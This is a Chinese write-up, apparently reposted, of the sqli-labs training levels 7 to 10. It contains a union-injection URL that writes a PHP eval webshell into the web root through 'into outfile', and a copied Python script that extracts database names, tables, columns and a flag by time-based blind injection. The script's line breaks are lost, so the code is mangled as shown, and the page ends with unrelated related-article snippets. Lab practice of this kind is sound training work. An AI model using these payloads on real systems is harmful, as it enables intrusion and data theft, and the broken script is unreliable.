sqli-lab--writeup(7~10)文件输出,时间布尔盲注

前置知识点:
1、outfile是将检索到的数据,保存到服务器的文件内:
格式:select * into outfile “文件地址”

示例:

mysql> select * into outfile ‘f:/mysql/test/one’ from teacher_class;

2、文件是自动创建的。

3,读写文件函数调用的限制

因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响。,

其中当参数 secure_file_priv 为空时,对导入导出无限制
当值为一个指定的目录时,只能向指定的目录导入导出
当值被设置为NULL时,禁止导入导出功能

这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
即:需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
进入mysql安装目录,找到my.ini 修改里面的secure-file-priv参数

如果发现没有secure_file_priv这个选项,直接再最后添加一个空的即可。
注意:
需要有绝对路径
文件名里路径里必须用\代替/

less7:

在这里插入图片描述
可知有三个显示位

根据题目提示使用outfile传入木马http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["shell"]);?>' into outfile 'D:\\phpStudy2018\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\shell.php'--+

最后使用蚁剑连接shell

less8

手工注入方式与5节基本相同

less9

知识点: 基于时间型SQL盲注

注入SQL 代码之后, 存在以下两种情况:

如果注入的SQL代码不影响后台[ 数据库] 的正常功能执行, 那么Web 应用的页面显示正确( 原始页面) 。

如果注入的SQL 代码影响后台数据库的正常功能( 产生了SQL 注入) , 但是此时Web 应用的页面依旧显示正常( 原因是Web 应用程序采取了“ 重定向" 或“ 屏蔽 ”措施)。

产生一个疑问: 注入的SQL 代码到底被后台数据库执行了没有? 即web 应用程序是否存在SQL 注入?

面对这种情况, 之前讲的基于布尔的SQL 盲注很难发挥作用了( 因为基于布尔的SQL 盲注的前提是web 程序返回的页面存在true 和false 两种不同的页面) 。

时间盲注: 界面返回值只有一种,true.无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。这时, 一般采用基于web 应用***响应时间上的差异来判断是否存在SQL 注入***, 即基于时间型SQL 盲注。

所以方法和less5相通,只是不以回显而是时间长短来判断语句的执行情况

找了份大佬的脚本:

import requests
import time
import datetimeurl = "http://localhost/sql-labs/Less-9/?id=1'"def get_dbname():dbname = ''for i in range(1,9):for k in range(32,127):payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)time1 = datetime.datetime.now()#获得提交payload之前的时间res = requests.get(url + payload)time2 = datetime.datetime.now()#获得payload提交后的时间difference = (time2 - time1).seconds#time,time2时间差,seconds是只查看秒if difference > 1:dbname += chr(k)else:continueprint("数据库名为->"+dbname)
get_dbname()def get_table():table1 = ''table2 = ''table3 = ''table4 = ''for i in range(5):for j in range(6):for k in range(32,127):payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url + payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:table1 += chr(k)print("第一个表为->"+table1)elif i == 1:table2 += chr(k)print("第二个表为->"+table2)elif i == 3:table3 += chr(k)print("第三个表为->"+table3)elif i == 4:table4 += chr(k)print("第四个表为->"+table4)else:break
get_table()def get_column():column1 = ''column2 = ''column3 = ''for i in range(3):for j in range(1,9):for k in range(32,127):payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:if i == 0:column1 += chr(k)print("字段一为->"+column1)if i == 1:column2 += chr(k)print("字段二为->"+column2)if i == 2:column3 += chr(k)print("字段三为->"+column3)else:break
get_column()def get_flag():flag = ''for i in range(30):for k in range(32,127):payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)time1 = datetime.datetime.now()res = requests.get(url+payload)time2 = datetime.datetime.now()difference = (time2-time1).secondsif difference > 1:flag += chr(k)print("flag为->"+flag)
get_flag()

less10

和9相同,单引号改为双引号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/532593.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

树莓派4B (aarch64) 安装PyTorch 1.8 的可行方案

树莓派4B (aarch64) 安装PyTorch 1.8 的可行方案 最终可行方案 试了一堆方案&#xff08;源码编译、Fast.ai的安装文件等&#xff09;之后&#xff0c;终于找到一个可行的方案。是在 PyTorch 官方讨论社区的一个帖子中找到的&#xff0c;在回复中一个大佬给出了自己在2021年1…

sqli-lab———writeup(11~17)

less11 用户名提交单引号显示sql语法错误&#xff0c;故存在sql注入 根据单引号报错&#xff0c;在用户名和密码任意行输入 万能密码&#xff1a;‘ or 11# 输入后username语句为&#xff1a;SELECT username, password FROM users WHERE username or 11; 双引号 password语…

深入理解Python中的全局解释锁GIL

深入理解Python中的全局解释锁GIL 转自&#xff1a;https://zhuanlan.zhihu.com/p/75780308 注&#xff1a;本文为蜗牛学院资深讲师卿淳俊老师原创&#xff0c;首发自公众号https://mp.weixin.qq.com/s/TBiqbSCsjIbNIk8ATky-tg&#xff0c;如需转载请私聊我处获得授权并注明出处…

sqli-lab————Writeup(18~20)各种头部注入

less18 基于错误的用户代理&#xff0c;头部POST注入 admin admin 登入成功&#xff08;进不去重置数据库&#xff09; 显示如下 有user agent参数&#xff0c;可能存在注入点 显示版本号&#xff1a; 爆库&#xff1a;User-Agent:and extractvalue(1,concat(0x7e,(select …

Python GIL

转自&#xff1a;https://blog.csdn.net/weixin_41594007/article/details/79485847 Python GIL 在进行GIL讲解之前&#xff0c;我们可以先回顾一下并行和并发的区别&#xff1a; 并行&#xff1a;多个CPU同时执行多个任务&#xff0c;就好像有两个程序&#xff0c;这两个程序…

sqli-lab——Writeup21~38(各种过滤绕过WAF和)

Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入) base64编码&#xff0c;单引号&#xff0c;报错型&#xff0c;cookie型注入。 本关和less-20相似&#xff0c;只是cookie的uname值经过base64编码了。 登录后页面&#xff1a;…

Libtorch报错:terminate called after throwing an instance of ‘c10::Error‘ what():isTensor()INTERNAL ASS

Libtorch报错&#xff1a;terminate called after throwing an instance of ‘c10::Error’ what(): isTensor() INTERNAL ASSERT FAILED 报错 问题出现在笔者想要将 yolov5 通过 PyTorch 的 C 接口 Libtorch 部署到树莓派上。 完整报错信息&#xff1a; terminate called …

sqli-lab——Writeup(38~over)堆叠等......

知识点&#xff1a; 1.堆叠注入原理&#xff08;stacked injection&#xff09; 在SQL中&#xff0c;分号&#xff08;;&#xff09;是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句&#xff0c;会不会一起执行&#xff1f;因此这个想法…

mysql常规使用(建立,增删改查,视图索引)

目录 1.数据库建立 2.增删改查 3.视图建立&#xff1a; 1.数据库建立 mysql> mysql> show databases; ----------------------------------- | Database | ----------------------------------- | information_schema | | ch…

php操作mysql数据库

phpmyadmin phpadmin是一个mysql图形化管理工具&#xff0c;是一款实用php开发的mysql苦户端软件&#xff0c;基于web跨平台的管理系统&#xff0c;支持简体中文&#xff0c;官网&#xff1a;www.phpmyadmin.net可以下载免费最新版。提供图形化操作界面&#xff0c;完成对mysq…

C:C++ 函数返回多个参数

C/C 函数返回多个参数 转自&#xff1a;https://blog.csdn.net/onlyou2030/article/details/48174461 笔者是 Python 入门的&#xff0c;一直很困惑 C/C 中函数如何返回多个参数。 如果一个函数需要返回多个参数&#xff0c;可以采用以下两种方法&#xff1a; 传引用或指针…

sql预编译

一.数据库预编译起源: 数据库接受sql语句,需要解析和制定执行,中间需要花费一段时间. 有时候同一语句可能会多次执行, 那么就会造成资源的浪费 如何减少编译执行的时间 ? 就有了预编译,预编译是将这类语句提前用占位符替代,一次编译,多次执行. 预编译后的执行代码会被缓存下来…

C++中智能指针的原理、使用、实现

C中智能指针的原理、使用、实现 转自&#xff1a;https://www.cnblogs.com/wxquare/p/4759020.html 1 智能指针的作用 C程序设计中使用堆内存是非常频繁的操作&#xff0c;堆内存的申请和释放都由程序员自己管理。程序员自己管理堆内存可以提高了程序的效率&#xff0c;但是…

Xctf练习sql注入--supersqli

三种方法 方法一 1 回显正常 1’回显不正常,报sql语法错误 1’ -- 回显正常,说明有sql注入点,应该是字符型注入(# 不能用) 1’ order by 3 -- 回显失败,说明有2个注入点 1’ union select 1,2 -- 回显显示过滤语句: 1’; show databases -- 爆数据库名 -1’; show tables …

深拷贝与浅拷贝、值语义与引用语义对象语义 ——以C++和Python为例

深拷贝与浅拷贝、值语义与引用语义/对象语义 ——以C和Python为例 值语义与引用语义&#xff08;对象语义&#xff09; 本小节参考自&#xff1a;https://www.cnblogs.com/Solstice/archive/2011/08/16/2141515.html 概念 在任何编程语言中&#xff0c;区分深浅拷贝的关键都…

一次打卡软件的实战渗透测试

直接打卡抓包, 发现有疑似企业网站,查ip直接显示以下页面 直接显示了后台安装界面…就很有意思 探针和phpinfo存在 尝试连接mysql失败 fofa扫描为阿里云服务器 找到公司官网使用nmap扫描,存在端口使用onethink 查询onethink OneThink是一个开源的内容管理框架&#xff0c;…

C++中类的拷贝控制

C中类的拷贝控制 转自&#xff1a;https://www.cnblogs.com/ronny/p/3734110.html 1&#xff0c;什么是类的拷贝控制 当我们定义一个类的时候&#xff0c;为了让我们定义的类类型像内置类型&#xff08;char,int,double等&#xff09;一样好用&#xff0c;我们通常需要考下面…

centos7ubuntu搭建Vulhub靶场(推荐Ubuntu)

这里写目录标题一.前言总结二.成功操作&#xff1a;三.出现报错&#xff1a;四.vulhub使用正文&#xff1a;一.前言总结二.成功操作&#xff1a;三.出现报错&#xff1a;四.vulhub使用看完点赞关注不迷路!!!! 后续继续更新优质安全内容!!!!!一.前言总结 二.成功操作&#xff1…

使用 PyTorch 数据读取,JAX 框架来训练一个简单的神经网络

使用 PyTorch 数据读取&#xff0c;JAX 框架来训练一个简单的神经网络 本文例程部分主要参考官方文档。 JAX简介 JAX 的前身是 Autograd &#xff0c;也就是说 JAX 是 Autograd 升级版本&#xff0c;JAX 可以对 Python 和 NumPy 程序进行自动微分。可以通过 Python的大量特征…

Yapi Mock 远程代码执行漏洞

跟风一波复现Yapi 漏洞描述&#xff1a; YApi接口管理平台远程代码执行0day漏洞&#xff0c;攻击者可通过平台注册用户添加接口&#xff0c;设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态&#xff0c;强烈建议客户尽快采取缓解措施以避免受此漏洞影响 …